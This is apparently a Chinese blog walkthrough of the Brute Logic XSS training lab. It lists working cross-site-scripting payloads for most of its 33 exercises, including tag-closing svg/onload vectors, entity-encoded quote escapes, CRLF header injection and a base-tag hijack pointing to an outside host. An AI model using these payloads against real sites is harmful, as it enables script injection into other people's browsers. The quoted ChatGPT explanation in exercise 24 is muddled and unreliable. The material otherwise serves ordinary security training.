brutelogic-XSS WP

Fc04dB Lv4

# 靶场解题

靶场:Training XSS Muscles - Brute XSS (brutelogic.com.br)

# Exercise 01

打开是输入框

image-20240906132544417

随便输入一点东西然后查看源代码找输入的地方

image-20240906133312022

title 闭合了

payload: xxxxx</title><svg/onload=alert(1)>

image-20240906133414541

# Exercise 02

老样子

12131312313123

闭合前面的,构造 payload: </noscript><svg/onload=alert(1)>

image-20240906133854533

image-20240906133921416

# Exercise 03

还是闭合!

image-20240906134224873

image-20240906134207419

# Exercise 04

参数在属性里面

测试一下过滤的符号:

image-20240906134939592

只剩 <> 没被过滤

image-20240906135101408

也没有 url 解码

考虑构造 '-alert()-' ,尝试编码

对‘进行 html 编码:

image-20240906135502249

& 和 #在 url 里有特殊含义,在进行 url 编码:

image-20240906135545250

payload: %26%23x27-alert(1)-%26%23x27

image-20240906135625048

image-20240906135829788

官方答案: %26apos;-alert(1)-%26apos;

# Exercise 05

image-20240906153542652

这个在文本里

闭合 h1,payload: Gymxxxx</h1><svg/onload=alert(1)>

image-20240906153725855

emmmm 不闭合也行

image-20240906153822493

# Exercise 06

在 value 里

image-20240906153954501

" 和 > 都没被过滤,直接闭合

image-20240906154124552

# Exercise 07

跟上一题一样,只是 " 变成了’

image-20240906154429842

# Exercise 08

image-20240906155159124

> 被转义了

image-20240906155922020

payload: "autofocus/onfocus="alert(1)

  • autofocus : HTML 属性,用于自动将焦点设置到页面加载时的指定输入字段或元素上。
  • onfocus : HTML 元素的一个事件处理属性,当元素获得焦点时(比如,用户点击输入框),触发后面的 JavaScript 代码。

# Exercise 09

跟上面同理

image-20240906160319325

# Exercise 10

image-20240906160537179

可以闭合

image-20240906160524955

# Exercise 11

payload: </script><script>alert(1)</script>

image-20240906160836839

# Exercise 12

跟上题一样

image-20240906161029123

# Exercise 13

单引号闭合

image-20240906161453112

image-20240906161342615

# Exercise 14

跟上面一样,但是是用双引号闭合

image-20240906161711427

# Exercise 15

继续用 13 题的 payload,发现单引号被转义

image-20240906161838766

使用转义逃逸

image-20240906161930475

image-20240906162220253

# Exercise 16

image-20240906162253773

跟上面一样

# Exercise 17

image-20240906162649055

' " < > 竟然都没被转义

image-20240906162734750

# Exercise 18

image-20240906163003486

< 被转义

直接 '-alert()-' 一把梭

image-20240906163034322

# Exercise 19

用和上一题一样的 payload 不能弹

image-20240906163537278

1
\`-alert(1)//

image-20240906163733212

# Exercise 20

payload: ${alert(1)}

image-20240906164549412

解释 ${alert(1)}

  1. 模板字符串(Template Literal)
    • 在 JavaScript 中,模板字符串使用反引号(```)包围,例如: Hello, ${name} `。
    • 模板字符串允许嵌入表达式(使用 ${expression} 的形式),这些表达式将在字符串插值时被计算和替换。
  2. ${alert(1)} 的作用
    • ${} 中插入一个 JavaScript 表达式,例如 alert(1) ,这个表达式会被执行,结果会被插入到模板字符串中。
    • 在这个例子中, alert(1) 是一个 JavaScript 表达式,它会在浏览器中显示一个带有数字 “1” 的弹窗。

# Exercise 21

image-20240906201559183

在 href 里,双引号被转义, ' < > 可以使用

啊??官方答案也不弹,直接没了,不知道为什么

image-20240906203144286

# Exercise 22

先闭合 ">,继续闭合 </iframe>

image-20240906203731111

payload: "></iframe><svg/onload=alert(1)>

image-20240906203753333

# Exercise 23

Injection in HTTP Header

我以为需要抓包改包呢,结果答案直接是加在参数上就行

image-20240906210122929

代码片段解释(From:Chat-GPT)

  1. %0D%0A (URL 编码的换行符):
    • %0D 是 URL 编码中的回车符(Carriage Return,CR)。
    • %0A 是 URL 编码中的换行符(Line Feed,LF)。
    • 在 HTTP 请求和响应中, %0D%0A 通常表示一个新的行,它们用来分隔请求或响应头部的不同部分。
  2. Content-Type:text/html :
    • 这是一个 HTTP 响应头部,指示接下来的内容应该以 HTML 格式解析。它的存在表明攻击者试图操纵服务器的响应头,将它们插入到 HTTP 响应流中,以便浏览器解释为 HTML 内容。
  3. <svg/onload=alert(1)> :
    • <svg> 是一个 SVG(可缩放矢量图形)标签,它是一种合法的 HTML 元素。
    • onload 是 SVG 元素的一个事件处理程序属性,当元素加载时,会触发它后面的 JavaScript 代码。
    • alert(1) 是一个 JavaScript 代码片段,用于弹出一个带有数字 “1” 的提示框。
    • 结合起来, <svg/onload=alert(1)> 表示一个 SVG 标签,当页面加载时执行 alert(1)

注入后的源代码:

image-20240906210320632

# Exercise 24

想直接闭合 <script> 但是 < 被转义了

image-20240906210459628

image-20240906210601007

1
2
3
4
<script>
var p24_1 = '/alert(1)//\'; var p24_2 = '
/alert(1)//\';
</script>

我的理解是 p24_1 中 \' 转义为字符,使得他真正的属性是 '/alert(1)//\'; var p24_2 = '

p24_2 的 // 把后面注释掉

导致后面 alert (1) 成为单独的语句并执行

但是 Chat-GPT 告诉我:

代码变形的原因:引号闭合错误

  1. 原始注入的字符串内容

在这段代码中,假设服务器直接将你输入的参数 /alert(1)//\ 注入到变量声明中:

1
2
3
4
<script>
var p24_1 = '/alert(1)//\';
var p24_2 = '/alert(1)//\';
</script>

这里的注入点是 '/alert(1)//\'

  1. 字符串闭合问题的解释
  • 单引号的破坏:
    JavaScript 使用单引号 ' 或双引号 " 来定义字符串。在 var p24_1 = '/alert(1)//\'; 这行代码中,第一个单引号 ' 用于标识字符串的开始,但接下来的 '/alert(1)//\' 中的第二个单引号将被解释为字符串的结束。
  • 反斜杠的作用:
    在 JavaScript 中,反斜杠 \ 是一个转义字符,用来将后面的字符转义为普通字符。此处的 //\ 将被视为注释符号和反斜杠组合,可能会引发解析器的混淆。
  1. 代码被解析成执行的原因

浏览器在解析这段代码时,它会认为:

1
var p24_1 = '/alert(1)//\';

被截断成了:

1
2
3
var p24_1 = ''; // 截断的字符串
alert(1) //'; // 中途出现的注入代码
var p24_2 = ''; // 后续的原始代码
  • 第一部分 ( var p24_1 = '' ):
    浏览器将认为字符串从 '/alert(1)//\' 的开始 ' 到后面的第二个单引号 \'' 被结束,所以下面的 alert(1) 被认为是独立的 JavaScript 代码块。
  • alert(1) 的执行:
    浏览器解释代码时, alert(1) 是有效的 JavaScript 代码,所以它会执行。
  • 注释符 // 的作用:
    JavaScript 中 // 后面的所有内容都被认为是注释。因此,后面的部分 ' var p24_2 = ''; 被注释掉,不会被执行。
  1. 最终代码结构

最终,浏览器看到的代码变成了:

1
2
3
var p24_1 = '';   // 空字符串
alert(1) // 这个是可执行的 JavaScript 代码
//'; var p24_2 = ''; // 这里的内容被注释掉,不会执行

我不理解!!!!!!!!!!!

# Exercise 25

image-20240906223126783

1
2
3
var cS = document.location.search;
var sP = new URLSearchParams(cS);
var p25 = sP.get('p25');
  1. document.location.search
  • document.location.search 返回当前页面 URL 中的查询字符串部分,即问号 ? 后面的所有内容。
  • 例如,如果当前页面的 URL 是 https://example.com/page?param1=value1&p25=value2 ,那么 document.location.search 的值将是 ?param1=value1&p25=value2
  1. new URLSearchParams(cS)
  • new URLSearchParams(cS) 创建一个 URLSearchParams 对象,用于解析查询字符串 cS
  • URLSearchParams 是一个内置的 JavaScript 对象,它提供了一些便捷的方法来操作 URL 查询参数。
  1. sP.get('p25')
  • sP.get('p25') 使用 URLSearchParams 对象的方法 get 来获取查询字符串中 p25 参数的值。
  • 如果查询字符串中存在 p25 ,比如 ?param1=value1&p25=value2 ,那么 sP.get('p25') 将返回 'value2'
  • 如果查询字符串中不存在 p25 参数,则 sP.get('p25') 将返回 null

image-20240906223400576

# Exercise 26

image-20240906223738959

这他妈给我重定向哪来了

# Exercise 27

直接弹

image-20240906223848626

# Exercise 28

image-20240906223955689

注入点在注释里,直接闭合

image-20240906224056945

# Exercise 29

只有在输入 <!--> 才会显示这一行

image-20240906233343083

image-20240906234635383

<!--> :注释结束符

是一个利用 HTML 注释的结束符:
  • 在 HTML 中, <!----> 分别表示注释的开始和结束。
  • 这个片段使用了 --> (注释结束符)来打破或 “闭合” 前面的注释。这种技巧可以用来绕过基于 HTML 注释的过滤机制。

payload: <!--><svg/onload=alert(1)-->

先结束注释前面内容,再执行 alert

image-20240906235011743

# Exercise 30

image-20240906235114224

只有 ' 没被转义

尝试 html 编码: \74img/src/onerror=alert(1)\76

当浏览器解析这个代码时,它会将 \74 转换成 < ,并将 \76 转换成 > ,从而得到:

1
<img src onerror=alert(1)>

image-20240906235325525

# Exercise 31

按照答案无法复现,难以理解,遂放弃

image-20240906235527785

# Exercise 32

Injection in URL

🤔

image-20240906235720896

牛逼,第一次见

# Exercise 33

1. <base> 标签

  • <base> 标签
    • <base> 是一个 HTML 标签,用于指定文档中所有相对 URL 的基准 URL。
    • 例如,如果在 HTML 文档的头部包含 <base href="https://example.com/"> ,那么文档中的所有相对 URL(如 /images/pic.jpg )都会被解析为 https://example.com/images/pic.jpg
  • <base href=//X55.is>
    • <base href=//X55.is> 指定了一个新的基准 URL //X55.is 。注意没有协议(如 http:https: ),这是一个相对协议的 URL,浏览器将使用当前页面的协议( httphttps )来解析它。
    • 如果攻击者将这个基准 URL 插入到页面中,所有相对 URL(如脚本、链接、图像等)将被重定向到 X55.is

2. 潜在的攻击场景

  • XSS 攻击

    • 如果应用程序将用户输入的内容直接插入到页面的 <head> 中,并且没有进行适当的转义或过滤,攻击者可以插入 <base> 标签来改变页面中所有相对 URL 的行为。例如:
    1
    2
    3
    4
    5
    html复制代码<head>
    ...
    <base href="//X55.is">
    ...
    </head>
    • 这会导致所有相对路径资源(如图片、脚本、链接)指向

      1
      X55.is

      域。这可能导致:

      • 静态资源劫持:攻击者控制的域上提供恶意脚本、样式或其他资源。
      • 恶意重定向:所有链接将引导用户到攻击者控制的站点。
  • 内容安全策略(CSP)绕过

    • 如果服务器实现了 CSP 以防止外部脚本或资源的加载, <base> 标签的注入可能绕过这种保护。如果 CSP 规则允许 <base> 标签的存在,攻击者可以利用此标签将资源基准指向外部站点,从而加载未经授权的内容。

image-20240907000639010

-->
  • Title: brutelogic-XSS WP
  • Author: Fc04dB
  • Created at : 2024-09-06 13:23:31
  • Updated at : 2024-09-07 00:13:49
  • Link: https://redefine.ohevan.com/2024/09/06/brutelogic-XSS-WP/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments